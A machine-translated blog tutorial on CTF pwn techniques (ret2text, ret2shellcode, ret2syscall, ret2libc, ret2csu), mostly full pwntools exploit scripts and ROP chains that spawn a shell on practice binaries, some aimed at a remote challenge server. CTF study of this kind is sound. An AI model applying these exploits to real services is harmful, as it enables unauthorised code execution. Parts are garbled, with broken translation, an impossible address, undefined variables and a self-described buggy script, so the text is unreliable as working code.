当前位置:网站首页>Ret2xx---- common CTF template proposition in PWN
Ret2xx---- common CTF template proposition in PWN
2022-07-05 06:47:00 【Greeety】
My website https://blog.johnw1ck.com/
Actually I didn't want to write an article this weekend It's mainly the holiday
however I want to log in as usual Baidu webmaster ....
I went to !!! My article is indexed !!!!
So I decided to update more articles And recently, some people said they couldn't understand it I think we should update some things that people can understand
But today I also decided to Ret2 Finished
This teaching excerpt is from the Xingmeng safety team in Bilibili Video posted on
Some of them are reproduced in https://www.anquanke.com/post/id/205858#h2-2
url by https://www.bilibili.com/video/BV1Uv411j7fr?p=9
The author of all content hits ( Except for some code parts ) If there is any mistake, please point out
If there is infringement, please contact the author
Download link of this topic : subject .rar
0x01 What is? ret2xx
In this article RET2xxx It refers to ret2text, ret2shellcode, ret2syscall,ret2libc,ret2csu among ret2 It means because of "return to" Homophony of That is, we can literally know We will use something similar to what we learned last class eip Pointer method To get permission And one of There are many ways to do it
ROP
[*] '/home/retr0/Examples/overflow'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
With the progress of the times The security knowledge about stack is becoming more and more popular among With NX Development of protection Directly in Buffer The method of injecting code in has been eliminated And now the more popular is ROP Method That is to say Return Oriented Programming
Speaking of ROP ROP In fact, it means to modify Gadgets Of ret End instruction The order To attack
sometimes We will combine several paragraphs gadget The attack
For what needs to be done ROP attack We need some conditions :
- Stack overflow exists in the program You can control the return address
- You can find something that meets the conditions gadgets And know gadgets The address of
But if the address is not fixed For example, it turns on NX We need to know the address of each debugging Don't worry We can cooperate. gdb Use
among If we need to use vulnerabilities multiple times You can use more than one gadget Cooperate to make exploit
0x02 ret2text
What is? ret2text
ret2text, That's right .text Utilization of section We will use the existing code in several programs to attack
There are dangerous functions in the process, such as system(“/bin”) or execv(“/bin/sh”,0,0) Fragments of , You can hijack the return address directly to the address of the target function . thus getshell.
title jarvisoj_level2
First of all, we Checksec
Our topic
[*] '/home/retr0/CTF/ret2xx/Qs/level2/level2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
We can see This program is turned on Nx Of So we know that Nx The basic principle of protection is to identify the memory page where the data is located as non executable When the program overflows successfully into shellcode when The program will try to execute instructions on the data page here CPU Will throw an exception Instead of executing malicious instructions however These are not important for the time being Let's throw it first IDA to glance at
The pseudocode is as follows :
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
system("echo Input:");
return read(0, &buf, 0x100u);
}
[ Failed to transfer the external chain picture , The origin station may have anti-theft chain mechanism , It is suggested to save the pictures and upload them directly (img-dPf0BOPi-1617790866959)(https://blog.johnw1ck.com/usr/uploads/2021/04/1766276664.jpg)]
Construction ideas
We can see There is an obvious stack overflow vulnerability among Read The value of has exceeded buf Value also There are also system Functions and bin/sh character string that We can conceive attacks
First We need to fill the cache first 0x88( Because of overflow )
after We need to cover 4 Characters to cover ebp
then We want the return value of the function to be system function
Then We need to fill in the return address of the function call (‘c’ * 4) If you need Can be executed all the time main function
Last We just need to adjust system The argument to the function is bin/sh It's over
To write exp
exp Code :
from pwn import *
file_path='./level2'
context(binary=file_path,os='linux',terminal = ['tmux', 'sp', '-h'])
glibc_version="2.23"
_debug_=1
elf = ELF(file_path)
p = remote('node3.buuoj.cn',28124)
libc = ELF('../libc/u16/x86libc-2.23.so')
main_addr = 0x08048413680
binsh = 0x0804A024
payload = 'a' * 136 + 'b' *4 + p32(system_plt).decode('unicode_escape') +p32(main_addr).decode('unicode_escape') + p32(binsh).decode('unicode_escape')
gdb.attach('b' * 134513790)
p.sendafter('Input',payload)
p.interactive()
( Maybe a little Bug Please understand )
title jarvisoj_level2_X86
The difference between this question and the previous question is that this question is 64 Bit And one of The causes of the vulnerability are similar
however 64 The transfer parameter of the bit system function call has priority to use the register rdi rsi rdx rcx r8 r9 And when the parameter is greater than 6 Use stack
For details, please refer to http://abcdxyzk.github.io/blog/2012/11/23/assembly-args/
When the parameter is less than 7 Time , The parameters are put into the register from left to right : rdi, rsi, rdx, rcx, r8, r9.
When the parameter is 7 More than one time , front 6 One is the same as before , But the later ones start from “ Right to left ” Put in stack , Namely and 32 Bit assembly .
The number of parameters is greater than 7 When it's time
H(a, b, c, d, e, f, g, h);
a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9
h->8(%esp)
g->(%esp)
call H
Construction ideas
Our thinking is The front is almost the same Then first set the return address to system function Re pass pop rdi;ret Set up rdi The value of is /bin/sh character string
by the way I forgot to say /bin/sh yes Linux default Shell Catalog ( Should be yes )
So here's the problem How do we find pop rdi; ret?
Actually There are many ways But here are two solutions :
ROPgadgets
What is? ROPgadgets
This tool lets you search your gadgets on your binaries to facilitate your ROP exploitation. ROPgadget supports ELF/PE/Mach-O format on x86, x64, ARM, ARM64, PowerPC, SPARC and MIPS architectures. Since the version 5, ROPgadget has a new core which is written in Python using Capstone disassembly framework for the gadgets search engine - The older version can be found in the Archives directory but it will not be maintained.
This tool allows you to search for your gadgets on binary files , For your convenience ROP Development .ROPgadget Support x86、x64、ARM、ARM64、PowerPC、SPARC and MIPS Architecturally ELF/PE/Mach-O Format . As of version 5 since ,ROPgadget With a new core , It is to use Python Compiling , Use Capstone Disassembly framework gadget search engine
We can use ROPgadgets First get the Gadget After that grep
Search for
Instruction is ROPgadget --binary level2_x64 | grep 'pop rdi'
give the result as follows :
x00000000004006b3 : pop rdi ; ret
Ropper
Ropper It is also a good search gadgets Tools His grammar is as follows :
usage: ropper [-h] [--help-examples] [-v] [--console] [-f <file> [<file> ...]] [-r] [-a <arch>]
[--section <section>] [--string [<string>]] [--hex] [--asm [<asm> [H|S|R] [<asm> [H|S|R] ...]]]
[--disasm <opcode>] [--disassemble-address <address:length>] [-i] [-e] [--imagebase] [-c] [-s] [-S]
[--imports] [--symbols] [--set <option>] [--unset <option>] [-I <imagebase>] [-p] [-j <reg>]
[--stack-pivot] [--inst-count <n bytes>] [--search <regex>] [--quality <quality>]
[--opcode <opcode>] [--instructions <instructions>] [--type <type>] [--detailed] [--all]
[--cfg-only] [--chain <generator>] [-b <badbytes>] [--nocolor] [--clear-cache] [--no-load]
[--analyse <quality>] [--semantic constraint] [--count-of-findings <count of gadgets>] [--single]
among We can use his search
Function to find what we need gadgets The code is as follows :ropper --file level2_x64 --search "pop rdi"
The feedback is as follows :
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi
[INFO] File: level2_x64
0x00000000004006b3: pop rdi; ret;
To write exp
The main body of the code is as follows :
from pwn import
file_path='./level2_x64' # Set the path
context(binary=file_path,os='linux',terminal = ['tmux', 'sp', '-h'])
glibc_version="2.23"
_debug_=1
elf = ELF(file_path)
#pwn.io init
if _debug_:
pwn_file="/glibc/%s/64/lib/ld-%s.so --library-path /glibc/%s/64/lib/ %s"%(glibc_version,glibc_version,glibc_version,file_path)
p = process(pwn_file.split())
libc = ELF('/glibc/%s/64/lib/libc-%s.so'%(glibc_version,glibc_version))
else:
p = remote('node3.buuoj.cn',28124)
libc = ELF('../libc/u16/x86libc-2.23.so')
system_plt = elf.plt['system'] # system function
pop_rdi_ret = 0x00000000004006b3 # pop rid ; ret The address of
binsh = 0x600A90 #bin/sh String address
payload = b'a'*0x80+b'b'*8 # First fill in 0x8- To the rbp Then cover ....
payload += p64(pop_rdi_ret)+p64(binsh)# Set up rdi=bin/sh
payload += p64(system_plt)#ret To system_plt Address
p.sendafter('Input:',payload)
p.interactive()
Yes That's it
0x03 ret2shellcode
ret2shellcode That is to control the execution of the program shellcode Code shellcode It refers to the assembly code used to complete a function
The common function is to obtain the information of the target system shell Generally speaking shellcode It needs to be filled by ourselves
Solve the problem jarvisoj_level1
So when we get the example First Checksec
[*] '/home/retr0/CTF/ret2xx/Qs/jarvisoj_level1/level1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments # Readable and writable segments
after Let's put IDA in
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
printf("What's this:%p?\n", &buf);
return read(0, &buf, 0x100u);
}
We can see read There is a stack overflow that We can start to construct ideas
Construction ideas
Okay I won't talk much about it here After knowing the basic idea We can start writing exp 了 however It is worth noting that buff The address of was given to us at the beginning So there is no need to resolve the address and so on
EXP To write
exp as follows :
from pwn import *
#ret2shellcode
file_path='level1'
context(binary=file_path,os='linux',terminal = ['tmux', 'sp', '-h'])
p = process("level1")
p.recvuntil("What's this:")
buf = int(p.recv(10),16)# Read buff Address
shellcode = asm(shellcraft.sh())# Generate shellcode
payload = shellcode
payload = payload.ljust(0x88+4,b'a') + p32(buf)# fill padding And the overlay return address is buf
#gdb.attach(p)
p.send(payload)
p.interactive()
0x04 retsyscall
retsyscall seeing the name of a thing one thinks of its function It refers to getting shell】
In the last class We have learned about system calls We're talking about Shellcode I mentioned it in my class
[post cid=“27” cover=“https://blog.johnw1ck.com/img/shellcode.jpg”/]
Today, We are reviewing the knowledge about interruption
Knowledge point : We can trigger interrupts (int 0x80
perhaps syscall
) Make system calls
The principle is as follows
User process before executing system call , First put the system call name ( It is actually the system call number )、 Input parameters, etc. are placed on registers (EBX,ECX And so on )
Then send out int 0x80 Instructions , Trigger xxx Interrupt number
The system pauses the user process , according to xxx Interrupt No. find the interrupt service program , This program is called system_call()
system_call() Then perform . It will find the system call name from the register 、 Input parameters, etc , And find the process that causes the system call according to the system call context ; After execution, it will put the output result into the register .
The system recovers the user process , The process gets what it wants from the register , And then go ahead and do it .
Solve the problem inndy_rop
As usual First gdb
after Checksec
give the result as follows :
pwndbg> checksec
[*] '/home/retr0/CTF/ret2xx/Qs/inndy_rop/inndy_rop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
The pseudocode is as follows :(overflow function )
int overflow()
{
char v1; // [esp+Ch] [ebp-Ch]
return gets(&v1);
}
ad locum gets There must be stack overflow in function Because I will not read until 0x0A
This is because we need to use system calls So we also file once
[email protected]:~/CTF/ret2xx/Qs/inndy_rop$ file inndy_rop
inndy_rop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=e9ed96cd1a8ea3af86b7b73048c909236d570d9e, not stripped
We can see This time the topic is statically compiled So there will be things like int 0x80 Such a system call
after Let's first look at a table of system calls You can go to https://publicki.top/syscall.html Look at
here We mainly look at these two
NR | syscall name | references | arg0 (%ebx) | arg1 (%ecx) | arg2 (%edx) | arg3 (%esi) | arg4 (%edi) | arg5 (%ebp) |
---|---|---|---|---|---|---|---|---|
0 | read | man/cs/ | 0x00 | unsigned int fd | char *buf | size_t count | - | - |
59 | execve | man/cs/ | 0x0b | const char *const *argv | const char *const *envp | - | - | - |
Construction ideas
We can see here for instance read Need modification eax The register is 0x03 and ebx by fd Also set the address and length
So here Our thinking has
Exp structure
Not much to say First put Exp
from pwn import *
file_path='./inndy_rop'
context(binary=file_path,os='linux',terminal = ['tmux', 'sp', '-h'])
p = process('./inndy_rop')
#find gadgets
int_80_ret = 0x0806F430#int 0x80;ret ROPgadget Unable to find ropper --file inndy_rop --search "int 0x80"
pop_eax_ret = 0x080b8016# : pop eax ; ret # Define the address of the register
pop_ebx_ret = 0x080481c9# : pop ebx ; ret # Define the address of the register
pop_ecx_ret = 0x080de769# : pop ecx ; ret # Define the address of the register
pop_edx_ret = 0x0806ecda# : pop edx ; ret # Define the address of the register
bss = 0x80e9000 # Choose here bss paragraph Because it is readable and writable
payload = b'a'*0xc+b'b'*4
#read(0,bss+0x100,8)
#eax = 3
#ebx = fd=0
#ecx = buf=bss+0x100
#edx = 8
payload += p32(pop_eax_ret)+p32(0x3)#eax=3
payload += p32(pop_ebx_ret)+p32(0x0)#ebx=fd=0
payload += p32(pop_ecx_ret)+p32(bss+0x100)#ecx=bss+0x100
payload += p32(pop_edx_ret)+p32(0x8)#edx=8 len('/bin/sh\x00') Read in length
payload += p32(int_80_ret)
#execve("/bin/sh",0,0)
#eax=0xb
#ebx=bss+0x100
#ecx = 0
#edx = 0
payload += p32(pop_eax_ret)+p32(0xb)#eax=b
payload += p32(pop_ebx_ret)+p32(bss+0x100)#ebx=fd=1
payload += p32(pop_ecx_ret)+p32(0)#ecx=bss+0x00
payload += p32(pop_edx_ret)+p32(0)#edx=0 Read in length
payload += p32(int_80_ret)
#gdb.attach(p,'b *0x0806F430') Add this debugging
p.sendline(payload)
print(payload)
sleep(1)
p.sendline('/bin/sh\x00')
p.interactive()
The production of payload Yes. b’aaaaaaaaaaaabbbb\x16\x80\x0b\x08\x03\x00\x00\x00\xc9\x81\x04\x08\x00\x00\x00\x00i\xe7\r\x08\x00\x91\x0e\x08\xda\xec\x06\x08\x08\x00\x00\x000\xf4\x06\x08\x16\x80\x0b\x08\x0b\x00\x00\x00\xc9\x81\x04\x08\x00\x91\x0e\x08i\xe7\r\x08\x00\x00\x00\x00\xda\xec\x06\x08\x00\x00\x00\x000\xf4\x06\x08’
Automatic generation ROPchain
however Here comes the question again How troublesome it would be if you wrote it like this every time ?
No problem Actually .... Can be generated automatically Ha ha ha
For statically compiled programs We can use ROPgadgets perhaps ropper Generate ropchain
Ropper
ropper --file inndy_rop --chain execveropper --file inndy_rop --chain execve
Feedback results :( You will find the same as the one above )
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] ROPchain Generator for syscall execve:
[INFO]
write command into data section
eax 0xb
ebx address to cmd
ecx address to null
edx address to null
[INFO] Try to create chain which fills registers without delete content of previous filled registers
[*] Try permuation 1 / 24
[INFO] Look for syscall gadget
[INFO] syscall gadget found
[INFO] generating rop chain
#!/usr/bin/env python
# Generated by ropper ropchain generator #
from struct import pack
p = lambda x : pack('I', x)
IMAGE_BASE_0 = 0x08048000 # 487729c3b55aaec43deb2af4c896b16f9dbd01f7e484054d1bb7f24209e2d3ae
rebase_0 = lambda x : p(x + IMAGE_BASE_0)
rop = ''
rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += '//bi'
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2060)
rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += 'n/sh'
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2064)
rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += p(0x00000000)
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret;
rop += rebase_0(0x000a2060)
rop += rebase_0(0x00096769) # 0x080de769: pop ecx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += p(0x0000000b)
rop += rebase_0(0x00027430) # 0x0806f430: int 0x80; ret;
print rop
[INFO] rop chain generated!
ROPgadgets
command :ROPgadget --binary inndy_rop --ropchain
( It will load for a period of time Don't worry That's not ROPchain Code )
Feedback code :
ROP chain generation
===========================================================
- Step 1 -- Write-what-where gadgets
[+] Gadget found: 0x8050cc5 mov dword ptr [esi], edi ; pop ebx ; pop esi ; pop edi ; ret
[+] Gadget found: 0x8048433 pop esi ; ret
[+] Gadget found: 0x8048480 pop edi ; ret
[-] Can't find the 'xor edi, edi' gadget. Try with another 'mov [r], r'
[+] Gadget found: 0x805466b mov dword ptr [edx], eax ; ret
[+] Gadget found: 0x806ecda pop edx ; ret
[+] Gadget found: 0x80b8016 pop eax ; ret
[+] Gadget found: 0x80492d3 xor eax, eax ; ret
- Step 2 -- Init syscall number gadgets
[+] Gadget found: 0x80492d3 xor eax, eax ; ret
[+] Gadget found: 0x807a66f inc eax ; ret
- Step 3 -- Init syscall arguments gadgets
[+] Gadget found: 0x80481c9 pop ebx ; ret
[+] Gadget found: 0x80de769 pop ecx ; ret
[+] Gadget found: 0x806ecda pop edx ; ret
- Step 4 -- Syscall gadget
[+] Gadget found: 0x806c943 int 0x80
- Step 5 -- Build the ROP chain
#!/usr/bin/env python2
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = ''
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
How sweet ?! I have written all the steps for you
0x05 ret2libc
ret2libc That is, the execution of the control function libc The function in , It is usually returned to a function plt The specific location of the or function ( That is, the function corresponding to got Contents of table items ). In general , We will choose to execute system("/bin/sh"), So now we need to know system Address of function
about ret2libc We need to know first what is libc
libc yes Linux Under the ANSI C Function library .ANSI C Is a basic C Language function library , Contains C Language's most basic library functions . This library can be based on The header file is divided into 15 Parts of , These include : Character type ()、 Error code ()、 Floating point constants ()、 Mathematical constants ()、 Standard definition ()、 standard I/O ()、 Tool function ()、 String manipulation ()、 Time and date ()、 Variable parameter table ()、 The signal ()、 Nonlocal jump ()、 Local information ()、 program assertion ()
in other words libc Stored in are used functions String, etc.
So how to query libc Well
Can pass ldd [ File name query libc file ]
libc The basic idea of vulnerability utilization is as follows
[ Failed to transfer the external chain picture , The origin station may have anti-theft chain mechanism , It is suggested to save the pictures and upload them directly (img-Skv2U8q3-1617790866964)(https://blog.johnw1ck.com/usr/uploads/2021/04/2465554599.jpg)]
title jarvisoj_level1
stay ret2shellcode in We have done an analysis of this topic
So when we get the example First
Checksec
[*] '/home/retr0/CTF/ret2xx/Qs/jarvisoj_level1/level1' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments # Readable and writable segments
after Let's put IDA in
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
printf(“What’s this:%p?\n”, &buf);
return read(0, &buf, 0x100u);
}
Ideas
( Finally, use stack overflow to execute system function )
And remember utilize libc Inquire about (ldd) Query the libc
Exp
from pwn import *
file_path='./level1'
context(binary=file_path,os='linux',terminal = ['tmux', 'sp', '-h'])
glibc_version="2.23"
_debug_=1
elf = ELF(file_path)
#pwn.io init
if _debug_:
pwn_file="/glibc/%s/32/lib/ld-%s.so --library-path /glibc/%s/32/lib/ %s"%(glibc_version,glibc_version,glibc_version,file_path)
p = process(pwn_file.split())
libc = ELF('/glibc/%s/32/lib/libc-%s.so'%(glibc_version,glibc_version))
else:
p = remote('node3.buuoj.cn',28124)
libc = ELF('../libc/u16/x86libc-2.23.so')
#common pack
su = lambda desp,value:success(desp+' => '+(hex(value) if type(value)==int else str(value)))
ru = lambda delim :p.recvuntil(delim)
rv = lambda count=1024,timeout=0:p.recv(count,timeout)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
ss = lambda data :p.send(data)
ssa = lambda delim,data :p.sendafter(delim, data)
u64leak=lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))
u64leak2=lambda :u64(p.recv(6).ljust(8,b'\0'))
write_plt = elf.plt['write']
read_got = elf.got['read']
main_addr = 0x080484B7
#---------------payload part --------------# # Because it has been implemented before read So it will include read The real address of #
#V
payload = b'A'*0x88+b'B'*0x4+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)# perform write Let the cat out of the read_got surface
#gdb.attach(p,'b *0x080484B5')
p.sendafter("?",payload)
p.recvuntil('\n')
read_addr = u32(p.recv(4))
log.success("read_addr:{}".format(hex(read_addr)))
libc_base = read_addr - libc.symbols['read'] # adopt read stay libc Find the offset of libc The base address
system = libc_base+libc.symbols['system'] # adopt libc Found the base address of system The address of the function and bin/sh The address of
binsh = libc_base + next(libc.search(b'/bin/sh'))
log.success("libc_base:{}".format(hex(libc_base)))
log.success("system:{}".format(hex(system)))
log.success("binsh:{}".format(hex(binsh)))
payload2 = b'A'*0x88+b'B'*0x4+p32(system)+p32(main_addr)+p32(binsh) # After triggering again Overlay as system + bin/sh Address
p.send(payload2)
p.interactive()
Mm-hmm this is it If there is something like learning about libc Words I have time for another tutorial
0x06 ret2csu
stay 64 Bit procedure , Front of function 6 Two parameters are passed through registers But most of the time It is difficult for us to find the corresponding gadgets Now We can use x64 Under the __libc_csu_init Medium gadgets This function is used for libc For initialization And the general program will call libc function So this function must exist
in other words Actually ret2csu And utilization libc The same way of thinking Are included instructions to achieve the goal
First Let's start with the example Level5
ret2csu The soul of is embodied in gadget2 utilize gadget1 Prepared data to control edi、rsi、rdx And control jump to any function
Analysis of examples level5
First checksec
pwndbg> checksec
[*] '/home/retr0/CTF/ret2xx/Qs/level5_x64/level5'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Found only open NX Protect Nothing else is on
Vulnerability function
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]
return read(0, &buf, 0x200uLL);
}
Use objdump -d ./level5 -M intel
command
Yes csu:
00000000004005a0 <__libc_csu_init>:
4005a0: 48 89 6c 24 d8 mov QWORD PTR [rsp-0x28],rbp
4005a5: 4c 89 64 24 e0 mov QWORD PTR [rsp-0x20],r12
4005aa: 48 8d 2d 73 08 20 00 lea rbp,[rip+0x200873] # 600e24 <__init_array_end>
4005b1: 4c 8d 25 6c 08 20 00 lea r12,[rip+0x20086c] # 600e24 <__init_array_end>
4005b8: 4c 89 6c 24 e8 mov QWORD PTR [rsp-0x18],r13
4005bd: 4c 89 74 24 f0 mov QWORD PTR [rsp-0x10],r14
4005c2: 4c 89 7c 24 f8 mov QWORD PTR [rsp-0x8],r15
4005c7: 48 89 5c 24 d0 mov QWORD PTR [rsp-0x30],rbx
4005cc: 48 83 ec 38 sub rsp,0x38
4005d0: 4c 29 e5 sub rbp,r12
4005d3: 41 89 fd mov r13d,edi
4005d6: 49 89 f6 mov r14,rsi
4005d9: 48 c1 fd 03 sar rbp,0x3
4005dd: 49 89 d7 mov r15,rdx
4005e0: e8 1b fe ff ff call 400400 <_init>
4005e5: 48 85 ed test rbp,rbp
4005e8: 74 1c je 400606 <__libc_csu_init+0x66>
4005ea: 31 db xor ebx,ebx
4005ec: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
4005f0: 4c 89 fa mov rdx,r15
4005f3: 4c 89 f6 mov rsi,r14
4005f6: 44 89 ef mov edi,r13d
4005f9: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
4005fd: 48 83 c3 01 add rbx,0x1
400601: 48 39 eb cmp rbx,rbp
400604: 75 ea jne 4005f0 <__libc_csu_init+0x50>
400606: 48 8b 5c 24 08 mov rbx,QWORD PTR [rsp+0x8]
40060b: 48 8b 6c 24 10 mov rbp,QWORD PTR [rsp+0x10]
400610: 4c 8b 64 24 18 mov r12,QWORD PTR [rsp+0x18]
400615: 4c 8b 6c 24 20 mov r13,QWORD PTR [rsp+0x20]
40061a: 4c 8b 74 24 28 mov r14,QWORD PTR [rsp+0x28]
40061f: 4c 8b 7c 24 30 mov r15,QWORD PTR [rsp+0x30]
400624: 48 83 c4 38 add rsp,0x38
400628: c3 ret
400629: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
400606: 48 8b 5c 24 08 mov rbx,QWORD PTR [rsp+0x8] //rsp + 8 Assigned to rbx
40060b: 48 8b 6c 24 10 mov rbp,QWORD PTR [rsp+0x10] //rsp + 8 Assigned to rbp
400610: 4c 8b 64 24 18 mov r12,QWORD PTR [rsp+0x18]
400615: 4c 8b 6c 24 20 mov r13,QWORD PTR [rsp+0x20]
40061a: 4c 8b 74 24 28 mov r14,QWORD PTR [rsp+0x28]
40061f: 4c 8b 7c 24 30 mov r15,QWORD PTR [rsp+0x30]
400624: 48 83 c4 38 add rsp,0x38
400628: c3 ret
Here you can see rbx、rbp、r12、r13、r14、r15 It can be on the stack rsp The offset +0x8 、+0x10、+0x20、+0x28、+0x30 To decide
4005f0: 4c 89 fa mov rdx,r15
4005f3: 4c 89 f6 mov rsi,r14
4005f6: 44 89 ef mov edi,r13d
4005f9: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
You can see our rdx、rsi、edi Can be r15、r14、r13 low 32 Bit to control ,call from r12+rbx*8 To control , And these values are exactly what we gadget1 Controllable values
We can see read There is a stack overflow There is no backdoor function in the program & /bin/sh character string And there is almost nothing to use gadgets therefore We can only use csu To control edi、rsi、rdx And control jump to any function
Train of thought structure
[ Failed to transfer the external chain picture , The origin station may have anti-theft chain mechanism , It is suggested to save the pictures and upload them directly (img-cHHF16Hs-1617790866965)(https://blog.johnw1ck.com/usr/uploads/2021/04/2408027147.jpg)]
Ideas : utilize ret2csu
1.write(1,write_got,8) Let the cat out of the libc
2.read(0,bss,16) write in system Address and /bin/sh character string
3.system(‘/bin/sh’) getshell
exp structure
from pwn import *
file_path='./level5'
context(binary=file_path,os='linux',terminal = ['tmux', 'sp', '-h'])
p = process(file_path)
elf = ELF(file_path)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
main_addr = 0x400564
write_got = elf.got['write']
read_got = elf.got['read']
gadget1 = 0x400606
gadget2 = 0x4005F0
bss_addr = 0x601028
#payload = b'A'*0x80+b'B'*8+p64(gadget1)+b'C'*8+b'D'*8+b'E'*8+b'F'*8+b'G'*8+b'H'*8#show how to set register
#######################leak libc###############################
payload1 = b'A'*0x80+b'B'*8 #padding
payload1 += p64(gadget1) #ret
payload1 += p64(0) #rsp
payload1 += p64(0) #rbx
payload1 += p64(1) #rbp
payload1 += p64(write_got) #r12
payload1 += p64(1) #r13 edi
payload1 += p64(write_got) #r14 rsi
payload1 += p64(8) #r15 rdx
payload1 += p64(gadget2)
payload1 += b'\x00'*0x38 #padding
payload1 += p64(main_addr) # Wait for the second time to trigger the vulnerability
#gdb.attach(p,'b *0x400562')
p.sendafter('Hello, World\n',payload1)
write_addr = u64(p.recv(8))
libc_base = write_addr - libc.sym['write']
system_addr = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
success("libc_base:{}".format(hex(libc_base)))
success("system_addr:{}".format(hex(system_addr)))
success("binsh:{}".format(hex(binsh)))
#######################read(0,bss,8) system_addr###############################
payload2 = b'A'*0x80+b'B'*8 #padding
payload2 += p64(gadget1) #ret
payload2 += p64(0) #rsp
payload2 += p64(0) #rbx
payload2 += p64(1) #rbp
payload2 += p64(read_got) #r12 ret
payload2 += p64(0) #r13 edi
payload2 += p64(bss_addr) #r14 rsi
payload2 += p64(16) #r15 rdx
payload2 += p64(gadget2)
payload2 += b'\x00'*0x38 #padding
payload2 += p64(main_addr) # Wait for the second time to trigger the vulnerability
p.sendafter('Hello, World\n',payload2)
sleep(1)
p.send(p64(system_addr)+b'/bin/sh\x00') # Someone asked Why write /bin/sh Instead of using libc Medium /bin/sh That's because we'll give rdi Assignment can only .....
sleep(1)
#######################system('/bin/sh') system_addr###############################
payload3 = b'A'*0x80+b'B'*8 #padding
payload3 += p64(gadget1) #ret
payload3 += p64(0) #rsp
payload3 += p64(0) #rbx
payload3 += p64(1) #rbp
payload3 += p64(bss_addr) #r12 ret
payload3 += p64(bss_addr+8) #r13 edi Cannot assign a complete value
payload3 += p64(0) #r14 rsi
payload3 += p64(0) #r15 rdx
payload3 += p64(gadget2)
payload3 += b'\x00'*0x38 #padding
payload3 += p64(main_addr) # Wait for the second time to trigger the vulnerability
p.sendafter('Hello, World\n',payload3)
p.interactive()
0x07 summary
ret2XX It's based on ROP Of gadgets The source of .
1.ret2text It uses the program itself gadgets
2.ret2shellcode Using input shellcode
3.ret2syscall It's using syscall Of gadgets
4.ret2libc It's using libc There are gadgets
5.ret2csu It exists when the program is compiled gadget It's universal
Mm-hmm Okay Today's w1cky Time And that's it See you next time
边栏推荐
